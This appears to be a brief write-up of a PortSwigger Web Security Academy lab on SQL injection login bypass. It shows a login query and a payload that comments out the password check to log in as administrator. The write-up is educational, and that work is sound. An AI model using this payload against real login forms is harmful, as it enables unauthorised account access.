← Back to Writeups
PORTSWIGGERN/ASQL_injection

SQL injection vulnerability allowing login bypass

XESXOR9/2/20261 min read
#sql_injection#portswigger#web-security-academy

SQL injection vulnerability allowing login bypass

Platform: PortSwigger | Category: SQL_injection | Type: Lab | Difficulty: N/A | OS: N/A | Author: XESXOR | Date: 2026-08-24 | Status: Solved Techniques: Web Security Academy, SQL_injection

Summary

Walkthrough of the PortSwigger Web Security Academy lab SQL injection vulnerability allowing login bypass (SQL_injection). This lab demonstrates a sql_injection vulnerability and its exploitation to achieve the lab objectives.

Lab Overview

PortSwigger Web Security Academy — SQL_injection

This writeup is part of the XESXOR PortSwigger collection. The original lab description and solution have been preserved and reformatted for clarity.

Lab Description :

image

Solution :

image

image

Query made -

sql
SELECT * FROM users WHERE username = 'administrator' AND password = 'password'

To bypass the login, we need to comment out the password part in WHERE clause.

sql
SELECT * FROM users WHERE username = 'administrator'--' AND password = 'bluecheese'

image

Key Takeaways / Lessons

  • Understanding SQL_injection detection and exploitation is crucial for web security.
  • Always validate and sanitize user input; implement proper access controls.
  • This lab is part of the PortSwigger Web Security Academy — practice in a safe, legal environment.

Crafted by XESXOR Research • 2026-08-24 • PortSwigger Web Security Academy • Lab: SQL injection vulnerability allowing login bypass